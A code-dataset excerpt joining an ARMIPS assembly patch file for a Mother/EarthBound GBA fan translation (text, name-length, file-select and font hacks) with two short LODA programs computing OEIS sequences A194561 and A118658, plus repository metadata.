//Number on first entering the menu .org 0x80C6996 :: bl c65da_clean_print //Number on page change //--------------------------------------------------------- // Call header fix //--------------------------------------------------------- .org 0x80BD26A :: bl c6190_clean_print //Call: //--------------------------------------------------------- // Fix windows printing too many tiles due to not going off of pixels, but off of characters //--------------------------------------------------------- .org 0x80C0B28 :: bl c0b28_fix_char_tiles //Status window .org 0x80C009E :: bl c009e_fix_char_tiles //Give window .org 0x80C4BD6 :: bl c4bd6_fix_char_tiles //Equip window .org 0x80C42E0 :: bl c42e0_fix_char_tiles //Outer PSI window .org 0x80C3FD8 :: bl c42e0_fix_char_tiles //Inner PSI window .org 0x80C4448 :: bl c4448_fix_char_tiles //Inner PSI window - part 2 .org 0x80DBF36 :: bl c009e_fix_char_tiles //Battle menu window //--------------------------------------------------------- // Proper dollar and 00 symbols for [9C FF] //--------------------------------------------------------- .org 0x80B8AA0 :: mov r0,#0x54 //Dollar .org 0x80B8AA6 :: mov r0,#0x56 //00 //--------------------------------------------------------- // wvf_skip hacks //--------------------------------------------------------- .org 0x80B8C2A :: bl b8c2a_set_proper_wvf_skip_and_window_type //Fixes bug of M2GBA .org 0x80BE45A :: bl be45a_set_proper_wvf_skip .org 0x80BE4CA :: bl be4ca_set_proper_wvf_skip_goods_battle_window //--------------------------------------------------------- // PSI Rockin in battle text //--------------------------------------------------------- .org 0x80D3984 :: cmp r0,#3 //Now "PSI " is 4 letters long, not 2 .org 0x80D399E :: sub r0,#4 //Subtract from r0 the length of "PSI " //--------------------------------------------------------- // Flyover hacks //--------------------------------------------------------- //Notes //Flyover entries are made of 8-bit codes with arguments. //Codes with the first byte between 0 and 9 are special cases. //00 = End //01 XX = Position at X tile XX (Changed to Position at X pixel XX) //02 XX = Position at Y tile XX //08 XX = Print PC name (for this hack, use 80 FC-FF instead) //09 = line break //80 XX = Print character XX //Flyover pointer remapping .org 0x873112c :: dw flyovertextYear //The year is 199x .org 0x8731130 :: dw flyovertextOnett //Onett, a small town in eagleland .org 0x8731134 :: dw flyovertextNess //Ness's House .org 0x8731138 :: dw flyovertextWinters //Winters, a small country to the north .org 0x873113C :: dw flyovertextSnow //Snow Wood Boarding House .org 0x8731140 :: dw flyovertextDalaam //Dalaam, in the Far East .org 0x8731144 :: dw flyovertextPoo //The palace of Poo\nThe Crown Prince .org 0x8731148 :: dw flyovertextLater //Later that night... .org 0x80B3A80 :: dw flyover_tea .org 0x80B3AA4 :: dw flyover_coffee //Change line size to 0x20 pixels //.org 0x80B3ABA :: add r0,#0x20 //.org 0x80B3B0C :: mov r1,#0x3F :: and r0,r1 :: nop //.org 0x80B4162 :: bl flyover_scroll_routine :: b 0x80B41B0 //.org 0x80B3B44 :: dw 0x85000900 //Flyover remapping .org 0x80B3482 :: bl largevwf :: b 0x80B348E //Flyover remapping .org 0x80B3B5E :: bl wrapper_largevwf_tea :: b 0x80B3A18 // Weld the odd-numbered flyover letters .org 0x80B3254 :: bl flyoverweld :: nop // Make it so the entire possible tileset is used .org 0x80AE568 :: mov r0,#8 .org 0x80AE56E :: mov r0,#7 .org 0x80AE57A :: mov r1,#0x80 //Start at 0x100 instead of 0x120 // Change the [01 XX] flyover code to pixels from left of screen .org 0x80B332C :: b 0x80B3334 // Alter the flyover palette so the borders don't show (orig 0x739C) .org 0x80FCE50 :: .byte 0x00,0x00 //Insert the font .org 0x80B3274 :: dw m2_font_big //Print all 16 rows .org 0x80B3262 :: cmp r7,0xF //Print all 16 columns .org 0x80B325C :: cmp r6,7 //--------------------------------------------------------- // Names hacks //--------------------------------------------------------- //Change location of the names to allow 5-letter long characters and 6 letters long food, rockin and king //Direct reference change .org 0x80C98F8 :: dw m2_paula_name .org 0x80C9908 :: dw m2_jeff_name .org 0x80C9918 :: dw m2_poo_name .org 0x80C9928 :: dw m2_food .org 0x80C9938 :: dw m2_rockin .org 0x80C9BC0 :: dw m2_king_name //Control Code for printing its name .org 0x80DB134 :: dw m2_king_name //Action user related .org 0x80DAEB8 :: dw m2_king_name //Action target related .org 0x80133E8 :: dw m2_king_name //Cast Roll .org 0x80C2368 :: dw m2_rockin .org 0x80C2424 :: dw m2_rockin .org 0x80C24E0 :: dw m2_rockin .org 0x80D39AC :: dw m2_rockin //Change the way the characters' names are called. Instead of number * 6, it's now number * 7 .org 0x80D6A72 :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80D6948 :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80D28B8 :: lsl r0,r6,#3 :: sub r0,r0,r6 :: nop .org 0x80C4BC4 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80DB14A :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80DAECE :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80D336C :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80D339C :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80D33C4 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80D2EE2 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80BAB8A :: lsl r1,r5,#3 :: sub r1,r1,r5 :: nop .org 0x80D6D96 :: lsl r1,r2,#3 :: sub r1,r1,r2 :: nop .org 0x80D7096 :: lsl r1,r2,#3 :: sub r1,r1,r2 :: nop .org 0x80EC92C :: lsl r0,r2,#3 :: sub r0,r0,r2 :: nop .org 0x80B9C00 :: lsl r0,r2,#3 :: sub r0,r0,r2 :: nop .org 0x80D68AA :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80D6BE0 :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80B9FAC :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80B93F0 :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80B9FE6 :: lsl r0,r7,#3 :: sub r0,r0,r7 :: nop .org 0x80B932C :: lsl r1,r0,#3 :: sub r0,r1,r0 :: nop .org 0x80C0B14 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80C008C :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80C42CE :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x8013652 :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80B9CB2 :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80BA086 :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80C97C0 :: lsl r4,r1,#3 :: sub r4,r4,r1 :: nop .org 0x80B9316 :: lsl r0,r1,#3 :: sub r0,r0,r1 :: nop .org 0x80D6B44 :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80D6E3A :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80D6ED0 :: lsl r1,r4,#3 :: sub r1,r1,r4 :: nop .org 0x80C3FC6 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop .org 0x80C4436 :: lsl r1,r0,#3 :: sub r1,r1,r0 :: nop //Change the way the characters' names are called. Instead of number * 6, it's now number * 7. These ones already received an lsl of 1 beforehand. .org 0x80C0AC8 :: lsl r1,r1,#2 :: sub r1,r1,r5 .org 0x80C4B84 :: lsl r1,r1,#2 :: sub r1,r1,r5 .org 0x80C3F88 :: lsl r1,r1,#2 :: sub r1,r1,r5 .org 0x80C43FC :: lsl r1,r1,#2 :: sub r1,r1,r3 .org 0x80C0040 :: lsl r1,r1,#2 :: sub r1,r1,r3 .org 0x80C4296 :: lsl r1,r1,#2 :: sub r1,r1,r3 .org 0x80DBEFA :: lsl r2,r2,#2 :: sub r2,r2,r4 .org 0x80BEFCA :: lsl r1,r1,#2 :: sub r1,r1,r3 .org 0x80BFA3A :: lsl r1,r1,#2 :: sub r1,r1,r4 .org 0x80BD9AA :: add r0,r5,#7 .org 0x80BD9BA :: mov r1,#0xE .org 0x80BD9CC :: add r6,#0x15 //Load proper addresses .org 0x80C98C4 :: bl c98c4_load_1d7 .org 0x80C98CC :: mov r4,#0xEF .org 0x80C98D4 :: bl c98d4_load_1e5 //Name writing .org 0x80020B6 :: bl _2352_load_1d7 .org 0x80020C6 :: mov r0,#0xEF .org 0x80020D6 :: bl _2372_load_1e5 .org 0x80020E8 :: add r0,#0xC0 .org 0x80020F8 :: add r0,#0x80 .org 0x8002108 :: add r0,#0x40 .org 0x80020AC :: mov r0,#5 .org 0x80020BC :: mov r0,#5 .org 0x80020CC :: mov r0,#5 .org 0x80020DC :: mov r0,#5 //Name loading .org 0x8002214 :: bl _2352_load_1d7 .org 0x8002224 :: mov r0,#0xEF .org 0x8002234 :: bl _2372_load_1e5 .org 0x8002246 :: mov r0,#0xF6 .org 0x8002258 :: mov r0,#0xFA .org 0x800226A :: mov r0,#0xFE .org 0x800220A :: mov r0,#5 .org 0x800221A :: mov r0,#5 .org 0x800222A :: mov r0,#5 .org 0x800223A :: mov r0,#5 //Name Reset change .org 0x8002352 :: bl _2352_load_1d7 .org 0x8002362 :: mov r0,#0xEF .org 0x8002372 :: bl _2372_load_1e5 .org 0x8002384 :: add r0,#0xC0 .org 0x8002394 :: add r0,#0x80 .org 0x80023A4 :: add r0,#0x40 .org 0x8002348 :: mov r0,#5 .org 0x8002358 :: mov r0,#5 .org 0x8002368 :: mov r0,#5 .org 0x8002378 :: mov r0,#5 //Change the maximum name size .org 0x80DB154 :: mov r1,#7 .org 0x80DAED8 :: mov r1,#7 .org 0x80B9FB6 :: mov r1,#7 .org 0x80B9C0A :: mov r1,#7 .org 0x80B9320 :: mov r1,#7 .org 0x80B9CBC :: mov r1,#7 .org 0x80B9FF2 :: mov r1,#7 .org 0x80B93FA :: mov r1,#7 .org 0x80B9334 :: mov r1,#7 .org 0x80D28C6 :: mov r1,#7 .org 0x80BA090 :: mov r1,#7 .org 0x80EC93A :: mov r1,#7 .org 0x80B9FEE :: sub r1,#7 .org 0x80121DC :: cmp r2,#4 .org 0x8013672 :: cmp r5,#4 .org 0x80C0B0A :: cmp r2,#4 //Status window header .org 0x80C4BBC :: cmp r2,#4 //Equip window header .org 0x80C42C6 :: cmp r2,#4 //Outer PSI window header .org 0x80C3FBE :: cmp r2,#4 //Inner PSI window header .org 0x80C442E :: cmp r2,#4 //Inner PSI window - part 2 header .org 0x80C0082 :: cmp r5,#4 //Give window header .org 0x80DBF28 :: cmp r0,#4 //Battle menu window header .org 0x80C97E2 :: cmp r1,#6 .org 0x80DAF3A :: cmp r0,#6 .org 0x80D33BC :: cmp r2,#6 //Default options auto-setup routine. .org 0x80CB2F2 :: bl cb2f2_hardcoded_defaults :: b 0x80CB434 //Remove japanese name's storing and loading .org 0x80C7524 :: nop .org 0x80C752C :: nop .org 0x80C76A2 :: mov r5,#0xFF .org 0x80C76D0 :: mov r5,#0xFF .org 0x80C76EA :: nop .org 0x80C76F2 :: nop .org 0x80C76FA :: nop .org 0x80C7864 :: nop .org 0x80C786C :: nop .org 0x80C79C0 :: nop .org 0x80D3AAE :: mov r0,#0xFF //Select File name length .org 0x8001F22 :: cmp r4,#4 .org 0x8001F3A :: cmp r4,#4 //Naming screen name length .org 0x8004F54 :: mov r2,#5 //Ness .org 0x8004F78 :: mov r0,#5 :: str r0,[sp,#0x18] :: bl _4f7c_window_selector //Paula .org 0x8004F9C :: mov r0,#5 //Jeff .org 0x8004FC0 :: mov r1,#5 //Poo //Black bar hacks - Need to replace the position windows point at and move the > //.org 0x80BD9DE :: mov r2,#0x16 //Ness //.org 0x80BD9EA :: mov r2,#0x1B //Paula //.org 0x80BD9F6 :: mov r2,#0x16 //Jeff //.org 0x80BDA02 :: mov r2,#0x1B //Poo //--------------------------------------------------------- // Movement code hacks //--------------------------------------------------------- // Censor the spanking sound in Pokey's house .org 0x8027BCB :: db 70 // Add 30 extra frames before the sound plays .org 0x8027BD1 :: dh 84 // Replace sound effect // Carpainter's timing fix .org 0x802A75F :: db 0x30 //Add 8 extra frames before the game can start reading again. //============================================================================== // File select hacks //============================================================================== // Main file select window resize .org 0x82B79BC :: dw 0x1C // new window width .org 0x8003998 :: mov r0,1 // new window x .org 0x8003F92 :: mov r0,1 .org 0x80053DC :: mov r0,1 .org 0x8003A04 :: bl _3a04_highlight_file //Changes window position and makes sure the file is properly highlighted .org 0x8003B40 :: mov r0,0x10 // new cursor x .org 0x86DB070 :: .incbin "data/m2-fileselect-template.bin" .org 0x86D9808 .incbin "data/m2-fileselect-tileset.bin" // Formatting .org 0x80021E8 :: bl format_file_string .org 0x8002284 :: bl format_file_string //Load the pixels in fileselect_pixels_location .org 0x80038C0 :: bl _38c0_load_pixels // Printing .org 0x80038CC :: mov r2,0x40 :: bl wrapper_first_file_string .org 0x80038DE :: mov r2,0x40 :: bl wrapper_first_file_string .org 0x80038F2 :: mov r2,0x40 :: bl wrapper_first_file_string :: bl _38f8_store_pixels // Bump file select cursor up by 3 pixels - Not needed now that the text is 3 pixels lower //.org 0x8003844 :: add r0,r5,1 // File select options .org 0x8003F78 :: bl _3f78_highlight_file //Keeps highlight consistent when changing palette in the text flavour window .org 0x8004072 :: bl _40e2_cursor_X //Removing highlight position .org 0x8004080 :: mov r3,#4 //Remove highlight of 4 tiles maximum .org 0x8004092 :: bl _4092_print_window_store //Printing + storing pixels .org 0x80040E2 :: bl _40e2_cursor_X //Highlight position .org 0x80040F4 :: mov r3,#4 //Print highlight of 4 tiles maximum .org 0x80041D4 :: bl _41d4_cursor_X //New cursor's X //Text Speed options .org 0x8003BBC :: bl _4092_print_window_store //Printing + storing pixels .org 0x8003C44 :: mov r3,#4 //Make highlighting the same speed for all text speeds .org 0x8003FA2 :: bl _4092_print_window .org 0x8003F8C :: mov r3,#4 //Print highlight of 4 tiles maximum .org 0x8003E86 :: bl _3e86_special_setup //Avoid printing when not necessary .org 0x8003EF2 :: bl _3e86_special_setup //Avoid printing when not necessary .org 0x82B79D0 :: dw 0x10 //new window width .org 0x86DB0FC :: .incbin "data/m2-textspeed-template.bin" //Text Flavour options .org 0x8003D8A :: bl _4092_print_window_store //Printing + storing pixels .org 0x8003D86 :: mov r1,#4 //new window Y .org 0x8003DB6 :: mov r1,#4 .org 0x8003E0C :: mov r1,#4 .org 0x8003E8C :: mov r1,#4 .org 0x8003EF8 :: mov r1,#4 .org 0x80053F2 :: mov r1,#4 .org 0x82B79E4 :: dw 0xF //new window width .org 0x82B79E8 :: dw 0x10 //new window height .org 0x8003DCE :: bl _3dce_fix_out_of_text_flavour .org 0x86DB1F8 :: .incbin "data/m2-flavour-template.bin" //Delete .org 0x8004410 :: mov r1,#3 :: mov r2,#0x15 :: bl wrapper_delete_string .org 0x800441E :: bl _4092_print_window_store //Printing + storing pixels .org 0x82B7AFC :: dw 0x15 //new window width .org 0x86DBE8C :: .incbin "data/m2-delete-template.bin" //Copy .org 0x8004294 :: bl _4294_print_window_store //Printing - 1 slot available .org 0x80042BA :: bl _4092_print_window_store //Printing + storing pixels .org 0x8004268 :: mov r2,#0x2 :: bl wrapper_copy_string //Descriptions and Names .org 0x80053F6 :: bl _53f6_fix_out_of_description .org 0x8004ED2 :: bl wrapper_name_string //Printing names .org 0x8004EDC :: bl _4edc_print_window_store //Printing + storing pixels .org 0x86DB2B8 :: .incbin "data/m2-descriptions-template.bin" .org 0x82B7A00 :: dw 0x86DB2B8 //Point all the descriptions + names to the same template .org 0x82B7A14 :: dw 0x86DB2B8 .org 0x82B7A28 :: dw 0x86DB2B8 .org 0x82B7A3C :: dw 0x86DB2B8 .org 0x82B7A50 :: dw 0x86DB2B8 .org 0x82B7A64 :: dw 0x86DB2B8 //Alphabets .org 0x80051A4 :: bl _4092_print_window_store //Printing + storing pixels - CAPITAL .org 0x8004EA2 :: bl _4092_print_window_store //Printing + storing pixels - small .org 0x82B7A8C :: dw 0x86DB5C4 .org 0x86DB5C4 :: .incbin "data/m2-alphabet-template.bin" .org 0x8005222 :: bl setupCursorAction .org 0x8005382 :: bl setupCursorMovement .org 0x800538A :: bl setupCursorPosition //Cursor position .org 0x800536C :: bl setupCursorPosition //Cursor position .org 0x82B8FFC :: .incbin "data/m2-alphabet-table.bin" .org 0x8002322 :: bl _2322_setup_windowing //Summary .org 0x80054F2 :: mov r2,#5 :: bl wrapper_name_summary_string //Printing Ness' name .org 0x8005502 :: mov r2,#5 :: bl wrapper_name_summary_string //Printing Paula's name .org 0x8005512 :: mov r2,#5 :: bl wrapper_name_summary_string //Printing Jeff's name .org 0x8005522 :: mov r2,#5 :: bl wrapper_name_summary_string //Printing Poo's name .org 0x800555C :: nop :: nop //Sends to a bunch of 0xFF .org 0x800556A :: nop :: nop //Sends to a bunch of 0xFF .org 0x8005530 :: mov r0,#0x11 //New x for King's name .org 0x8005536 :: bl wrapper_name_summary_string //Printing King's name .org 0x8005578 :: bl wrapper_count_pixels_to_tiles :: mov r2,#6 :: mov r4,#0x17 :: sub r0,r4,r0 //Count length of Food's name in tiles .org 0x8005588 :: bl wrapper_name_summary_string //Printing Food's name .org 0x8005596 :: bl wrapper_count_pixels_to_tiles :: mov r2,#6 :: sub r4,r4,r0 //Count length of Thing's name in tiles .org 0x80055A6 :: bl wrapper_name_summary_string //Printing Thing's name .org 0x80055B0 :: bl _4092_print_window_store //Printing + storing pixels .org 0x80056F0 :: add r0,#0x90 //New cursor's X .org 0x86DBC6C :: .incbin "data/m2-summary-template.bin" //============================================================================== // Overworld player name alphabet //============================================================================== //"Register your name" in buffer .org 0x80C6C54 :: bl printstr_buffer //BLANK name in buffer .org 0x80C6C7A :: bl printstr_buffer //First time entering the menu's alphabet .org 0x80C6D72 :: bl initWindow_buffer :: ldr r0,[r5,#0x10] :: bl c6d78_print_slphabet_store //Player name printing - character is added .org 0x80C75B4 :: bl c75b4_overworld_naming_top_printing :: b 0x80C777A //Player name printing - character is deleted via b button .org 0x80C780E :: bl c780e_overworld_naming_top_printing :: b 0x80C789A //Player name printing - character is deleted via backspace .org 0x80C74CC :: bl c74cc_overworld_naming_top_printing :: b 0x80C755A //Player name printing - menu is re-entered after the name has been inserted once .org 0x80C6CC6 :: bl c6cc6_overworld_naming_top_printing :: b 0x80C6D5E //Player name alphabet - cursor movement .org 0x80C6F24 :: bl c6f24_overworld_alphabet_movement :: b 0x80C7340 //Alphabet - switching support - removal of unused alphabet .org 0x80C7380 :: nop :: nop :: nop :: mov r0,r9 :: cmp r0,#0 :: beq 0x80C741A :: nop :: nop :: cmp r0,#1 //Print CAPITAL alphabet only if needed .org 0x80C7394 :: bl c7394_CAPITAL_overworld_alphabet :: b 0x80C73B8 //Print small alphabet .org 0x80C73B8 :: nop :: mov r0,r9 :: cmp r0,#2 //Print small alphabet only if needed .org 0x80C73C0 :: bl c73c0_small_overworld_alphabet :: b 0x80C73E2 //Choose character table based on alphabet loaded in .org 0x80C7578 :: bl c7578_load_letters //============================================================================== // Move stuff around in order to make space for the code //============================================================================== .org 0x82D92D4 :: dw moved_graphics_table :: dw moved_graphics_table + 0x1CD2C .org 0x82D9BBC :: dw moved_graphics_table + 0x26618 :: dw moved_graphics_table + 0x3F818 //============================================================================== // Lumine Hall hacks //============================================================================== .org 0x82DCF94 lumine_char_tilemap: .area 4000h,00h .incbin "data/lumine-char-tilemap.bin" .endarea //============================================================================== // Cartridge choosing screen hacks //============================================================================== .org 0x8013C62 :: bl change_palette_needed_foreground .org 0x8013CAA :: bl change_palette_needed_background .org 0x86DD794 :: .incbin "data/m2-cartridge-tiles.bin" .org 0x8706994 :: .incbin "data/m2-cartridge-arrangements.bin" .org 0x8705794 m12_cartridge_palettes: .incbin "data/m2-cartridge-palettes.bin" //============================================================================== // Data files //============================================================================== .org m2_default_names .incbin "data/m2-default-names.bin" .org 0x8B1BA88 m2_overworld_alphabet_table: .incbin "data/m2-overworld-alphabet-table.bin" .org 0x8B2C000 //This table MUST be 4-bytes padded moved_graphics_table: .incbin "data/moved-graphics-table.bin" // Box font relocation m2_font_relocate: .incbin "data/m2-font-relocate.bin" // Co-ordinate table m2_coord_table: .incbin "data/m2-coord-table.bin" // Co-ordinate table, version which has 5 bits used for how many consecutive tiles there are after each tile m2_coord_table_fast_progression: .incbin "data/m2-coord-table-fast-progression.bin" // EB fonts m2_font_table: dw m2_font_main dw m2_font_saturn dw m2_font_big dw m2_font_battle dw m2_font_tiny m2_font_main: .incbin "data/m2-font-main.bin" m2_font_saturn: .incbin "data/m2-font-saturn.bin" m2_font_big: .incbin "data/m2-font-big.bin" m2_font_battle: .incbin "data/m2-font-battle.bin" m2_font_tiny: .incbin "data/m2-font-tiny.bin" // EB font dimensions m2_font_widths: db 2, 2, 2, 1, 1 .align 4 m2_font_heights: db 2, 2, 2, 2, 1 .align 4 // EB font widths m2_widths_table: dw m2_widths_main dw m2_widths_saturn dw m2_widths_big dw m2_widths_battle dw m2_widths_tiny m2_widths_main: .incbin "data/m2-widths-main.bin" m2_widths_saturn: .incbin "data/m2-widths-saturn.bin" m2_widths_big: .incbin "data/m2-widths-big.bin" m2_widths_battle: .incbin "data/m2-widths-battle.bin" m2_widths_tiny: .incbin "data/m2-widths-tiny.bin" m2_bits_to_nybbles: .incbin "data/m2-bits-to-nybbles.bin" m2_bits_to_nybbles_fast: .incbin "data/m2-bits-to-nybbles-fast.bin" m2_nybbles_to_bits: .incbin "data/m2-nybbles-to-bits.bin" m2_enemy_attributes: .incbin "data/m2-enemy-attributes.bin" flyovertextYear: .include "data/flyover-text-year.asm" flyovertextOnett: .include "data/flyover-text-onett.asm" flyovertextNess: .include "data/flyover-text-ness.asm" flyovertextWinters: .include "data/flyover-text-winters.asm" flyovertextSnow: .include "data/flyover-text-snow.asm" flyovertextDalaam: .include "data/flyover-text-dalaam.asm" flyovertextPoo: .include "data/flyover-text-poo.asm" flyovertextLater: .include "data/flyover-text-later.asm" flyover_tea: .include "data/flyover-tea.asm" flyover_coffee: .include "data/flyover-coffee.asm" .align 2 m2_coord_table_file: .incbin "data/m2-coord-table-file-select.bin" optimized_byte_4bpp_to_1bpp_table: .incbin "data/optimized-byte-4bpp-to-1bpp-table.bin" m12_cartridge_palettes_dimmed: .incbin "data/m12-cartridge-palettes-dimmed.bin" .org 0x8FEE000 disclaimer_palette: .incbin "data/intro-screen-pal.bin" .align 4 disclaimer_graphics: .incbin "data/intro-screen-gfx.bin" .align 4 disclaimer_map: .incbin "data/intro-screen-map.bin" //============================================================================== // Existing subroutines/data //============================================================================== .definelabel buffer_subtractor ,0x0000800 .definelabel overworld_buffer ,0x200F200 .definelabel m2_ness_data ,0x3001D54 .definelabel m2_ness_name ,0x3001F10 .definelabel m2_old_paula_name ,0x3001F16 .definelabel m2_paula_name ,0x3001F17 .definelabel m2_old_jeff_name ,0x3001F1C .definelabel m2_jeff_name ,0x3001F1E .definelabel m2_old_poo_name ,0x3001F22 .definelabel m2_poo_name ,0x3001F25 .definelabel m2_old_king_name ,0x3001F28 .definelabel m2_king_name ,0x3001F2C .definelabel m2_old_food ,0x3001F30 .definelabel m2_food ,0x3001F34 .definelabel m2_old_rockin ,0x3001F3A .definelabel m2_rockin ,0x3001F3C .definelabel m2_old_japanese_name ,0x3001F42 .definelabel m2_cstm_last_printed ,0x3001F4F .definelabel m2_player1 ,0x3001F50 .definelabel m2_script_readability ,0x3004F08 .definelabel m2_psi_exist ,0x300525C .definelabel m2_active_window_pc ,0x3005264 .definelabel m2_setup_naming_mem ,0x8001D5C .definelabel m2_soundeffect ,0x8001720 .definelabel m2_copy_names_perm_mem ,0x8002088 .definelabel m2_reset_names ,0x8002318 .definelabel m2_copy_name_perm_mem ,0x80023C0 .definelabel m2_main_menu_handler ,0x80023F8 .definelabel m2_change_naming_space ,0x8004E08 .definelabel m2_copy_name_temp_mem ,0x8004E34 .definelabel m2_insert_default_name ,0x8005708 .definelabel m12_dim_palette ,0x80137DC .definelabel m2_enable_script ,0x80A1F6C .definelabel m2_sub_a334c ,0x80A334C .definelabel m2_sub_a3384 ,0x80A3384 .definelabel m2_jump_to_offset ,0x80A6C24 .definelabel m2_get_selected_item ,0x80A469C .definelabel m2_psitargetwindow ,0x80B8AE0 .definelabel m2_isequipped ,0x80BC670 .definelabel m2_swapwindowbuf ,0x80BD7AC .definelabel m2_setup_window ,0x80BD844 .definelabel m2_strlookup ,0x80BE260 .definelabel m2_initwindow ,0x80BE458 .definelabel m2_initwindow_cursor ,0x80BE4C8 .definelabel m2_statuswindow_numbers,0x80C0A5C .definelabel m2_psiwindow ,0x80C1FBC .definelabel m2_drawwindow ,0x80C87D0 .definelabel m2_print_window ,0x80C8BE4 .definelabel m2_print_alphabet ,0x80C8FFC .definelabel m2_printstr ,0x80C9634 .definelabel m2_printstr_hlight ,0x80C96F0 .definelabel m2_printnextch ,0x80C980C .definelabel m2_scrolltext ,0x80CA4BC .definelabel m2_formatnumber ,0x80CA65C .definelabel m2_clearwindowtiles ,0x80CA834 .definelabel m2_menuwindow ,0x80C1C98 .definelabel m2_setupwindow ,0x80BE188 .definelabel m2_resetwindow ,0x80BE490 .definelabel m2_sub_d3c50 ,0x80D3C50 .definelabel m2_hpwindow_up ,0x80D3F0C .definelabel m2_curhpwindow_down ,0x80D41D8 .definelabel m2_sub_d6844 ,0x80D6844 .definelabel m2_setupbattlename ,0x80DCD00 .definelabel m2_stat_symb_checker ,0x8B0EDA4 .definelabel m2_div ,0x80F49D8 .definelabel m2_remainder ,0x80F4A70 .definelabel cpuset ,0x80F47C0 .definelabel m2_items ,0x8B1D62C .definelabel m2_default_names ,0x82B9330 .definelabel m2_psi_print_table ,0x8B2A9C0 //============================================================================== // Code files //============================================================================== .include "m12-gfx.asm" .org 0x80FCE6C .include "syscalls.asm" .include "m2-vwf.asm" .include "m2-vwf-entries.asm" .include "m2-formatting.asm" .include "m2-customcodes.asm" .include "m2-compiled.asm" .include "m2-flyover.asm" .include "m12-intro.asm" //============================================================================== // ROM Header Stuff //============================================================================== //Changes game title (12 characters) to EARTHBOUNTCG //.org 0x80000A0 :: .byte 0x45,0x41,0x52,0x54,0x48,0x42,0x4F,0x55,0x4E,0x54,0x43,0x47 //Changes game code (4 characters) from A2UJ to A2UU //.org 0x80000AC :: .byte 0x41,0x32,0x55,0x55 //??? //.org 0x80000B4 :: .byte 0x80 //Complement check //.org 0x80000BD :: .byte 0xCD .close
35.88442
156
0.613264
ff021156f08167a02d611c22829dfeb1f6c69c12
690
asm
Assembly
oeis/194/A194561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/194/A194561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/194/A194561.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A194561: Centered cube numbers: (n+1)^27 + n^27. ; Submitted by Christian Krause ; 1,134217729,7625731702715,18022024106966971,7468594995433310109,1030940949674393077661,66735852732611749389079,2483564001592792629551895,60567588642269318039802521,1058149737003040059690390169,14109994191499930367061460371,150480546158959309029648434579,1329903844479951395221781982325,10012297270458773147004179426421,65634892639541566069257240277679,381333682320022011721968276435631,1992229875827115014296691747991729,9472436906514254192142087644131505,41405340527806014227344621227976171 add $0,1 lpb $0 mov $3,$2 mov $2,$1 cmp $3,0 mul $3,$0 sub $0,1 pow $3,27 add $1,$3 lpe mov $0,$1
43.125
493
0.847826
570d781f9eb2ee4de1f6ea7d680e23eb2c9ef268
1,349
asm
Assembly
programs/oeis/118/A118658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/118/A118658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/118/A118658.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A118658: a(n) = 2*F(n-1) = L(n) - F(n), where F(n) and L(n) are Fibonacci and Lucas numbers respectively. ; 2,0,2,2,4,6,10,16,26,42,68,110,178,288,466,754,1220,1974,3194,5168,8362,13530,21892,35422,57314,92736,150050,242786,392836,635622,1028458,1664080,2692538,4356618,7049156,11405774,18454930,29860704,48315634,78176338,126491972,204668310,331160282,535828592,866988874,1402817466,2269806340,3672623806,5942430146,9615053952,15557484098,25172538050,40730022148,65902560198,106632582346,172535142544,279167724890,451702867434,730870592324,1182573459758,1913444052082,3096017511840,5009461563922,8105479075762,13114940639684,21220419715446,34335360355130,55555780070576,89891140425706,145446920496282,235338060921988,380784981418270,616123042340258,996908023758528,1613031066098786,2609939089857314,4222970155956100,6832909245813414,11055879401769514,17888788647582928,28944668049352442,46833456696935370,75778124746287812,122611581443223182,198389706189510994,321001287632734176,519390993822245170,840392281454979346,1359783275277224516,2200175556732203862,3559958832009428378,5760134388741632240,9320093220751060618,15080227609492692858,24400320830243753476,39480548439736446334,63880869269980199810,103361417709716646144,167242286979696845954,270603704689413492098 mov $1,2 lpb $0 sub $0,1 mov $2,$3 add $3,$1 mov $1,$2 lpe mov $0,$1
112.416667
1,162
0.864344
97c63a9c02e11dc94d9190afa3d93ab85f8ac028
524
asm
Assembly
oeis/243/A243470.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
